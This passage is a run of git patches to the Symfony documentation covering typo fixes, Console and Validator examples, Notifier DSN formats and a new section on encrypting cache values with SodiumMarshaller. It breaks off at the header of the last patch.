     // src/Handler/HandlerCollection.php

From cf8af6af4ab5f541b8f7bb155434cc769a1d301d Mon Sep 17 00:00:00 2001
From: Quentin Dequippe <quentin@dequippe.tech>
Date: Thu, 26 Nov 2020 09:54:54 +0100
Subject: [PATCH 0193/5766] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index e9253431bd4..2f33d850cbc 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1202,7 +1202,7 @@ under the transport in ``messenger.yaml``:
 ======================  ======================================  ===================================
 ``access_key``          AWS access key
 ``account``             Identifier of the AWS account           The owner of the credentials
-``auto_setup``          Whether the table should be created     ``true``
+``auto_setup``          Whether the queue should be created     ``true``
                         automatically during send / get.
 ``buffer_size``         Number of messages to prefetch          9
 ``endpoint``            Absolute URL to the SQS service         https://sqs.eu-west-1.amazonaws.com

From f1f44c4eaed18edc03e2f7b7360f7a5ad4cf6276 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Nov 2020 10:55:19 +0100
Subject: [PATCH 0194/5766] Tweaks

---
 service_container/tags.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index db648334625..23dd6472422 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -787,9 +787,9 @@ indexed by the ``key`` attribute:
         };
 
 After compilation the ``HandlerCollection`` is able to iterate over your
-application handlers. To retrieve a specific service by it's ``key`` attribute
-from the iterator, we can use ``iterator_to_array``
-to get an array and then retrieve the ``handler_two`` handler::
+application handlers. To retrieve a specific service from the iterator, call the
+``iterator_to_array()`` function and then use the ``key`` attribute to get the
+array element. For example, to retrieve the ``handler_two`` handler::
 
     // src/Handler/HandlerCollection.php
     namespace App\Handler;

From dd8afa5117cf762f65c6333e09111976116c246b Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Thu, 26 Nov 2020 11:09:04 +0100
Subject: [PATCH 0195/5766] Update performance.rst

---
 performance.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/performance.rst b/performance.rst
index de0d7883a04..8d3eb05d2c0 100644
--- a/performance.rst
+++ b/performance.rst
@@ -209,6 +209,8 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
+You can also use the ``--classmap-authoritative`` option with the ``composer install`` command.
+
 .. _profiling-applications:
 
 Profiling Symfony Applications

From 7c9ffd764ec1d5a9071ade291543935220cd0f6e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 27 Nov 2020 00:11:24 +0100
Subject: [PATCH 0196/5766] Fixing uppercase typo

---
 validation/custom_constraint.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index eebfd087fb0..72bd3d17599 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -1,7 +1,7 @@
 .. index::
    single: Validation; Custom constraints
 
-How to Create a custom Validation Constraint
+How to Create a Custom Validation Constraint
 ============================================
 
 You can create a custom constraint by extending the base constraint class,

From 1ffc0f7208d11859b78257ec9a22ae56b80b5250 Mon Sep 17 00:00:00 2001
From: Abdouni Abdelkarim <abdounikarim@gmail.com>
Date: Fri, 27 Nov 2020 09:52:07 +0100
Subject: [PATCH 0197/5766] Update database.rst

hello, i add missing quotes.
---
 testing/database.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/database.rst b/testing/database.rst
index d2e0b18f24c..7e3acfd1db7 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -15,7 +15,7 @@ your project and define the new value for the ``DATABASE_URL`` env var:
 .. code-block:: bash
 
     # .env.test.local
-    DATABASE_URL=mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7
+    DATABASE_URL="mysql://USERNAME:PASSWORD@127.0.0.1:3306/DB_NAME?serverVersion=5.7"
 
 .. tip::
 

From 36b380cae21ef5bd0a572f49653ba904d7a71f93 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schl=C3=BCter?= <malte.schlueter@sensiolabs.de>
Date: Fri, 27 Nov 2020 12:08:18 +0100
Subject: [PATCH 0198/5766] Fix code example

In the code example is a colon instead of semicolon at the end of line
---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 23dd6472422..bf8f6959db4 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -800,7 +800,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
         {
             $handlers = iterator_to_array($handlers);
 
-            $handlerTwo = $handlers['handler_two']:
+            $handlerTwo = $handlers['handler_two'];
         }
     }
 

From 89828678a7443848962d380b31980e22d893c75b Mon Sep 17 00:00:00 2001
From: gary houbre <gary.houbre@gmail.com>
Date: Fri, 27 Nov 2020 12:49:56 +0100
Subject: [PATCH 0199/5766] Added Invalid Constant

---
 console.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/console.rst b/console.rst
index 34dc50003f9..246ae474d48 100644
--- a/console.rst
+++ b/console.rst
@@ -57,6 +57,10 @@ want a command to create a user::
             // or return this if some error happened during the execution
             // (it's equivalent to returning int(1))
             // return Command::FAILURE;
+
+            // or return this if there was invalid value during the execution
+            // (it's equivalent to returning int(2))
+            // return Command::INVALID
         }
     }
 
@@ -65,6 +69,10 @@ want a command to create a user::
     The ``Command::SUCCESS`` and ``Command::FAILURE`` constants were introduced
     in Symfony 5.1.
 
+.. versionadded:: 5.3
+
+    The ``Command::INVALID`` constants was introduced in Symfony 5.3
+
 Configuring the Command
 -----------------------
 

From d41389ad85d4812423919a7c8c1f8163006c1f38 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Nov 2020 13:34:18 +0100
Subject: [PATCH 0200/5766] Tweak

---
 console.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index 246ae474d48..58708719974 100644
--- a/console.rst
+++ b/console.rst
@@ -58,8 +58,8 @@ want a command to create a user::
             // (it's equivalent to returning int(1))
             // return Command::FAILURE;
 
-            // or return this if there was invalid value during the execution
-            // (it's equivalent to returning int(2))
+            // or return this to indicate incorrect command usage; e.g. invalid options
+            // or missing arguments (it's equivalent to returning int(2))
             // return Command::INVALID
         }
     }
@@ -71,7 +71,7 @@ want a command to create a user::
 
 .. versionadded:: 5.3
 
-    The ``Command::INVALID`` constants was introduced in Symfony 5.3
+    The ``Command::INVALID`` constant was introduced in Symfony 5.3
 
 Configuring the Command
 -----------------------

From b407b347fca1692a83204a6e310b56abea424ffb Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 27 Nov 2020 00:56:38 +0100
Subject: [PATCH 0201/5766] [Validator] Removing the recommended `Constraints`
 subdirectory

---
 validation/custom_constraint.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index eebfd087fb0..26a447042ad 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -14,8 +14,8 @@ Creating the Constraint Class
 
 First you need to create a Constraint class and extend :class:`Symfony\\Component\\Validator\\Constraint`::
 
-    // src/Validator/Constraints/ContainsAlphanumeric.php
-    namespace App\Validator\Constraints;
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
 
@@ -54,8 +54,8 @@ when actually performing the validation.
 
 The validator class only has one required method ``validate()``::
 
-    // src/Validator/Constraints/ContainsAlphanumericValidator.php
-    namespace App\Validator\Constraints;
+    // src/Validator/ContainsAlphanumericValidator.php
+    namespace App\Validator;
 
     use Symfony\Component\Validator\Constraint;
     use Symfony\Component\Validator\ConstraintValidator;
@@ -71,7 +71,7 @@ The validator class only has one required method ``validate()``::
             }
 
             // custom constraints should ignore null and empty values to allow
-            // other constraints (NotBlank, NotNull, etc.) take care of that
+            // other constraints (NotBlank, NotNull, etc.) to take care of that
             if (null === $value || '' === $value) {
                 return;
             }
@@ -117,7 +117,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints as AcmeAssert;
+        use App\Validator as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
         class AcmeEntity
@@ -140,7 +140,7 @@ You can use custom validators like the ones provided by Symfony itself:
             properties:
                 name:
                     - NotBlank: ~
-                    - App\Validator\Constraints\ContainsAlphanumeric: ~
+                    - App\Validator\ContainsAlphanumeric: ~
 
     .. code-block:: xml
 
@@ -153,7 +153,7 @@ You can use custom validators like the ones provided by Symfony itself:
             <class name="App\Entity\AcmeEntity">
                 <property name="name">
                     <constraint name="NotBlank"/>
-                    <constraint name="App\Validator\Constraints\ContainsAlphanumeric"/>
+                    <constraint name="App\Validator\ContainsAlphanumeric"/>
                 </property>
             </class>
         </constraint-mapping>
@@ -163,7 +163,7 @@ You can use custom validators like the ones provided by Symfony itself:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ContainsAlphanumeric;
+        use App\Validator\ContainsAlphanumeric;
         use Symfony\Component\Validator\Constraints\NotBlank;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
@@ -241,13 +241,13 @@ not to the property:
         # config/validator/validation.yaml
         App\Entity\AcmeEntity:
             constraints:
-                - App\Validator\Constraints\ProtocolClass: ~
+                - App\Validator\ProtocolClass: ~
 
     .. code-block:: xml
 
         <!-- config/validator/validation.xml -->
         <class name="App\Entity\AcmeEntity">
-            <constraint name="App\Validator\Constraints\ProtocolClass"/>
+            <constraint name="App\Validator\ProtocolClass"/>
         </class>
 
     .. code-block:: php
@@ -255,7 +255,7 @@ not to the property:
         // src/Entity/AcmeEntity.php
         namespace App\Entity;
 
-        use App\Validator\Constraints\ProtocolClass;
+        use App\Validator\ProtocolClass;
         use Symfony\Component\Validator\Mapping\ClassMetadata;
 
         class AcmeEntity

From 6ba56354f37add74088b4d1a4edc058ce12c941d Mon Sep 17 00:00:00 2001
From: sebpacz <74934099+sebpacz@users.noreply.github.com>
Date: Fri, 27 Nov 2020 15:09:54 +0100
Subject: [PATCH 0202/5766] Update index.rst

This is a very small change. I suggest replacing "function" with "functions" because each of these helpers offer more than one function. The word "functions" seems more appropriate.
---
 components/console/helpers/index.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/index.rst b/components/console/helpers/index.rst
index 87c62ca7629..5f328d47472 100644
--- a/components/console/helpers/index.rst
+++ b/components/console/helpers/index.rst
@@ -15,6 +15,6 @@ The Console Helpers
     debug_formatter
 
 The Console component comes with some useful helpers. These helpers contain
-function to ease some common tasks.
+functions to ease some common tasks.
 
 .. include:: map.rst.inc

From 74e2a7fb64bbdf7bffcc76688f6aae7fb27b2b93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 27 Nov 2020 17:37:01 +0100
Subject: [PATCH 0203/5766] Rewords

---
 performance.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/performance.rst b/performance.rst
index 8d3eb05d2c0..46ed5b9c7f8 100644
--- a/performance.rst
+++ b/performance.rst
@@ -189,14 +189,14 @@ such as Symfony projects, should use at least these values:
 Optimize Composer Autoloader
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The class loader used while developing the application is optimized to find
-new and changed classes. In production servers, PHP files should never change,
+The class loader used while developing the application is optimized to find new
+and changed classes. In production servers, PHP files should never change,
 unless a new application version is deployed. That's why you can optimize
-Composer's autoloader to scan the entire application once and build a "class map",
-which is a big array of the locations of all the classes and it's stored
-in ``vendor/composer/autoload_classmap.php``.
+Composer's autoloader to scan the entire application once and build an
+optimized "class map", which is a big array of the locations of all the classes
+and it's stored in ``vendor/composer/autoload_classmap.php``.
 
-Execute this command to generate the class map (and make it part of your
+Execute this command to generate the new class map (and make it part of your
 deployment process too):
 
 .. code-block:: terminal
@@ -209,8 +209,6 @@ deployment process too):
   used in your application and prevents Composer from scanning the file system for
   classes that are not found in the class map. (see: `Composer's autoloader optimization`_).
 
-You can also use the ``--classmap-authoritative`` option with the ``composer install`` command.
-
 .. _profiling-applications:
 
 Profiling Symfony Applications

From cc151fc41aaae8e91387f7d28d3bf8c37d35a3ee Mon Sep 17 00:00:00 2001
From: Ivan Ternovtsiy <diaborn19@gmail.com>
Date: Tue, 1 Dec 2020 11:13:09 +0200
Subject: [PATCH 0204/5766] Remove incorrect opcache preload instructions

---
 performance.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/performance.rst b/performance.rst
index 46ed5b9c7f8..afd5295a9e3 100644
--- a/performance.rst
+++ b/performance.rst
@@ -109,9 +109,7 @@ During container compilation (e.g. when running the ``cache:clear`` command),
 Symfony generates a file called ``preload.php`` in the ``config/`` directory
 with the list of classes to preload.
 
-The only requirement is that you need to set both ``container.dumper.inline_factories``
-and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you
-can configure PHP to use this preload file:
+You can configure PHP to use this preload file:
 
 .. code-block:: ini
 

From 9b1e113dbb34e3739ba298a3f476652f8375c685 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Tue, 1 Dec 2020 22:59:55 +0100
Subject: [PATCH 0205/5766] [Console] Update questionhelper.rst

I noticed that the link to the ask method redirects to Symfony\Component\Console\Command\Command instead of Symfony\Component\Console\Helper\QuestionHelper.
---
 components/console/helpers/questionhelper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index de1aefd2cfa..2174550a0cd 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -12,7 +12,7 @@ helper set, which you can get by calling
     $helper = $this->getHelper('question');
 
 The Question Helper has a single method
-:method:`Symfony\\Component\\Console\\Command\\Command::ask` that needs an
+:method:`Symfony\\Component\\Console\\Helper\\QuestionHelper::ask` that needs an
 :class:`Symfony\\Component\\Console\\Input\\InputInterface` instance as the
 first argument, an :class:`Symfony\\Component\\Console\\Output\\OutputInterface`
 instance as the second argument and a

From 36b60ac475fccea62f7ef338de5e26b9f2c7ed77 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Mon, 30 Nov 2020 16:43:45 +0100
Subject: [PATCH 0206/5766] [Security] Minor typo

---
 security/experimental_authenticators.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/experimental_authenticators.rst b/security/experimental_authenticators.rst
index 8a1b6081d84..c86622ba84d 100644
--- a/security/experimental_authenticators.rst
+++ b/security/experimental_authenticators.rst
@@ -337,7 +337,7 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
                         - App\Security\ApiKeyAuthenticator
 
                     # don't forget to also configure the entry_point if the
-                    # authenticator implements AuthenticatorEntryPointInterface
+                    # authenticator implements AuthenticationEntryPointInterface
                     # entry_point: App\Security\CustomFormLoginAuthenticator
 
     .. code-block:: xml
@@ -409,7 +409,7 @@ well as other pieces of information, like whether a password should be checked
 or if "remember me" functionality should be enabled.
 
 The default
-:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`.
+:class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Passport`
 requires a user object and credentials. The following credential classes
 are supported by default:
 

From 2537437a54de9de1ac2fcb8399fe34a4f6d36021 Mon Sep 17 00:00:00 2001
From: Al-Saleh KEITA <28827545+askeita@users.noreply.github.com>
Date: Mon, 30 Nov 2020 18:49:48 +0100
Subject: [PATCH 0207/5766] Update http_cache.rst

Replaced "two" by "three" on line 313.
---
 http_cache.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_cache.rst b/http_cache.rst
index 971679d5f82..0bd62b30c8e 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -315,7 +315,7 @@ Safe Methods: Only caching GET or HEAD requests
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 HTTP caching only works for "safe" HTTP methods (like GET and HEAD). This means
-two things:
+three things:
 
 * Don't try to cache PUT or DELETE requests. It won't work and with good reason.
   These methods are meant to be used when mutating the state of your application

From 886a3ef480a29b92735b3ee73b083e6efafdeb9a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 3 Dec 2020 07:44:23 +0100
Subject: [PATCH 0208/5766] Add Titouan in the core team

---
 contributing/code/core_team.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 47fba9c2d94..9ff45966cbb 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -71,7 +71,8 @@ Active Core Members
   * **Tobias Nyholm** (`Nyholm`_);
   * **Wouter De Jong** (`wouterj`_);
   * **Alexander M. Turek** (`derrabus`_);
-  * **Jérémy Derussé** (`jderusse`_).
+  * **Jérémy Derussé** (`jderusse`_);
+  * **Titouan Galopin** (`tgalopin`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -207,3 +208,4 @@ discretion of the **Project Leader**.
 .. _`lsmith77`: https://github.com/lsmith77/
 .. _`derrabus`: https://github.com/derrabus/
 .. _`jderusse`: https://github.com/jderusse/
+.. _`tgalopin`: https://github.com/tgalopin/

From 3c48f6898c6bf47849306e558c55158c98755da3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Malte=20Schlu=CC=88ter?= <malte.schlueter@sensiolabs.de>
Date: Thu, 3 Dec 2020 11:24:58 +0100
Subject: [PATCH 0209/5766] [Notifier] Update information for slack on actual
 implementation

---
 notifier.rst | 11 ++++-------
 1 file changed, 4 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index a3bb15f2232..3145bce544c 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -145,29 +145,26 @@ GoogleChat  ``symfony/google-chat-notifier``  ``googlechat://ACCESS_KEY:ACCESS_T
 LinkedIn    ``symfony/linked-in-notifier``    ``linkedin://TOKEN:USER_ID@default``
 Mattermost  ``symfony/mattermost-notifier``   ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocket-chat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
-Slack       ``symfony/slack-notifier``        ``slack://default/ID``
+Slack       ``symfony/slack-notifier``        ``slack://TOKEN@default?channel=CHANNEL``
 Telegram    ``symfony/telegram-notifier``     ``telegram://TOKEN@default?channel=CHAT_ID``
 Zulip       ``symfony/zulip-notifier``        ``zulip://EMAIL:APIKEY@ENDPOINT?channel=CHANNEL``
 ==========  ================================  ===========================================================================
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony
-    5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
-    Webhooks instead of legacy tokens.
+    The Mattermost and RocketChat integrations were introduced in Symfony 5.1.
 
 .. versionadded:: 5.2
 
     The GoogleChat, LinkedIn, Zulip and Discord integrations were introduced in Symfony 5.2.
+    The Slack DSN changed in Symfony 5.2 to use Slack Web API again same as in 5.0.
 
 Chatters are configured using the ``chatter_transports`` setting:
 
 .. code-block:: bash
 
     # .env
-    SLACK_DSN=slack://default/ID
-    # If your slack webhook looks like "https://hooks.slack.com/services/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX" then use:
-    SLACK_DSN=slack://default/XXXXXXXXX/XXXXXXXXX/XXXXXXXXXXXXXXXXXXXXXXXX
+    SLACK_DSN=slack://TOKEN@default?channel=CHANNEL
 
 .. configuration-block::
 

From a874705308eb708e6277ae30e5c539459313fc61 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Thu, 3 Dec 2020 14:13:06 +0100
Subject: [PATCH 0210/5766] Update lockable_trait.rst

---
 console/lockable_trait.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/console/lockable_trait.rst b/console/lockable_trait.rst
index 7f751d09012..74c4c2a5870 100644
--- a/console/lockable_trait.rst
+++ b/console/lockable_trait.rst
@@ -38,6 +38,8 @@ that adds two convenient methods to lock and release commands::
             // if not released explicitly, Symfony releases the lock
             // automatically when the execution of the command ends
             $this->release();
+            
+            return 0;
         }
     }
 

From 9695d7ef573a24ad440c3b291bdd291fad83f390 Mon Sep 17 00:00:00 2001
From: Timo Bakx <timobakx@gmail.com>
Date: Thu, 3 Dec 2020 22:24:10 +0100
Subject: [PATCH 0211/5766] [Debug] Added option to specify the event
 dispatcher in debug:event-dispatcher

---
 event_dispatcher.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index 55e99a8da34..03630c2e5f0 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -322,6 +322,18 @@ its name:
 
     $ php bin/console debug:event-dispatcher kernel.exception
 
+For the :doc:`new experimental Security </security/experimental_authenticators>`
+an event dispatcher per firewall was added. You can get the registered listeners
+for a particular event dispatcher by using the ``--dispatcher`` option:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher --dispatcher=security.event_dispatcher.main
+
+.. versionadded:: 5.3
+
+    The ``dispatcher`` option was introduced in Symfony 5.3.
+
 Learn more
 ----------
 

From 41418b7dad20e9f73aacdd00fe30f0a4a8e707b5 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <weaverryan+github@gmail.com>
Date: Thu, 3 Dec 2020 11:25:15 -0500
Subject: [PATCH 0212/5766] Prefer sass over node-sass

---
 frontend/encore/simple-example.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 6ddcd5bdbd8..d4f74989aa1 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -311,15 +311,15 @@ Encore. When you do, you'll see an error!
 
 .. code-block:: terminal
 
-    >   Error: Install sass-loader & node-sass to use enableSassLoader()
-    >     yarn add sass-loader@^8.0.0 node-sass --dev
+    >   Error: Install sass-loader & sass to use enableSassLoader()
+    >     yarn add sass-loader@^10.0.0 sass --dev
 
 Encore supports many features. But, instead of forcing all of them on you, when
 you need a feature, Encore will tell you what you need to install. Run:
 
 .. code-block:: terminal
 
-    $ yarn add sass-loader@^8.0.0 node-sass --dev
+    $ yarn add sass-loader@^10.0.0 sass --dev
     $ yarn encore dev --watch
 
 Your app now supports Sass. Encore also supports LESS and Stylus. See

From f2a3cf57488bb80b08b519358d458e74a52a930e Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Sat, 5 Dec 2020 18:03:19 +0100
Subject: [PATCH 0213/5766] Minor modification about the .meta file contents

The explanation about the `.meta` file contents is not totally true. Only `ComposerResource` stores timestamps (for `installed.json` files). For project source and configuration files involved in the generation of a file in the cache, the `filemtime` is directly used to retrieve the resource timestamp and to compare it with the `filemtime` of the generated file.

Source: https://github.com/symfony/symfony/blob/21ef411cc96459d0d87ac3e1d565aca4bba1cb21/src/Symfony/Component/Config/Resource/FileResource.php#L65
---
 components/dependency_injection/compilation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index 8f50b2b0d0c..55725be8da0 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -564,8 +564,8 @@ Now the cached dumped container is used regardless of whether debug mode
 is on or not. The difference is that the ``ConfigCache`` is set to debug
 mode with its second constructor argument. When the cache is not in debug
 mode the cached container will always be used if it exists. In debug mode,
-an additional metadata file is written with the timestamps of all the resource
-files. These are then checked to see if the files have changed, if they
+an additional metadata file is written with all the involved resource
+files. These are then checked to see if their timestamps have changed, if they
 have the cache will be considered stale.
 
 .. note::

From 4677e42c58bf87f72dd75150eb41f852acf7a576 Mon Sep 17 00:00:00 2001
From: Valentin Udaltsov <udaltsov.valentin@gmail.com>
Date: Sat, 5 Dec 2020 21:54:21 +0300
Subject: [PATCH 0214/5766] Changed iterable $forms to Traversable in the data
 mapper implementation example

---
 form/data_mappers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index f10d74813b0..24ff0716f5f 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, iterable $forms): void
+        public function mapDataToForms($viewData, \Traversable $forms): void
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData(iterable $forms, &$viewData): void
+        public function mapFormsToData(\Traversable $forms, &$viewData): void
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);

From 4e4924e22d2a53d39be593d31e895947b1d8e892 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pablo=20Schl=C3=A4pfer?= <github@spam.pableu.net>
Date: Sat, 5 Dec 2020 16:45:37 +0100
Subject: [PATCH 0215/5766] [Cache] Document cache encryption using
 SodiumMarshaller

---
 cache.rst | 83 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 83 insertions(+)

diff --git a/cache.rst b/cache.rst
index 58e3cd0b816..20d9af8999e 100644
--- a/cache.rst
+++ b/cache.rst
@@ -714,3 +714,86 @@ Clear all caches everywhere:
 .. code-block:: terminal
 
     $ php bin/console cache:pool:clear cache.global_clearer
+
+Encrypting the Cache
+--------------------
+
+.. versionadded:: 5.1
+
+    :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller` has been
+    introduced in Symfony 5.1.
+
+To encrypt the cache using ``libsodium``, you can use the
+:class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
+
+.. note::
+
+    This will encrypt the values of the cache items, but not the cache keys. Be
+    careful not the leak sensitive data in the keys.
+
+Generate a key:
+
+.. code-block:: terminal
+
+    $ php -r 'echo base64_encode(sodium_crypto_box_keypair());'
+
+And add it to your :doc:`secret store </configuration/secrets>` as
+``CACHE_DECRYPTION_KEY`` and enable the ``SodiumMarshaller``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/cache.yaml
+        services:
+            Symfony\Component\Cache\Marshaller\SodiumMarshaller:
+                decorates: cache.default_marshaller
+                arguments:
+                    - ['%env(base64:CACHE_DECRYPTION_KEY)%']
+                    # use multiple keys in order to rotate them
+                    #- ['%env(base64:CACHE_DECRYPTION_KEY)%', '%env(base64:OLD_CACHE_DECRYPTION_KEY)%']
+                    - '@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'
+
+    .. code-block:: xml
+
+        <!-- config/packages/cache.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <services>
+                <service id="Symfony\Component\Cache\Marshaller\SodiumMarshaller" decorates="cache.default_marshaller">
+                    <argument>redis://localhost</argument>
+                    <argument type="collection">
+                        <argument>env(base64:CACHE_DECRYPTION_KEY)</argument>
+                        <!-- use multiple keys in order to rotate them -->
+                        <!-- argument>env(base64:OLD_CACHE_DECRYPTION_KEY)</argument -->
+                    </argument>
+                    <argument type="service" id="Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/cache.php
+        use Symfony\Component\Cache\Marshaller\SodiumMarshaller;
+
+        $container->register(SodiumMarshaller::class)
+            ->decorate('cache.default_marshaller')
+            ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)'])
+            // use multiple keys in order to rotate them
+            // ->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
+            ->addArgument(service('@Symfony\Component\Cache\Marshaller\SodiumMarshaller.inner'));
+
+To rotate your encryption keys but still be able to read existing cache entries,
+add the old encryption key to the service arguments. The first key will be used
+for reading and writing, and the additional key(s) will only be used for reading.
+
+Once all cache items encrypted with the old key have expired, you can remove
+`OLD_CACHE_DECRYPTION_KEY` completely.

From 54fdf7a0771a2ea5a49886bd6cda6a7595d76742 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 6 Dec 2020 12:16:03 +0100
Subject: [PATCH 0216/5766] [#14658] Minor tweaks to cache encryption section

---
 cache.rst | 45 ++++++++++++++++++++++++---------------------
 1 file changed, 24 insertions(+), 21 deletions(-)

diff --git a/cache.rst b/cache.rst
index 20d9af8999e..5f31c495e4b 100644
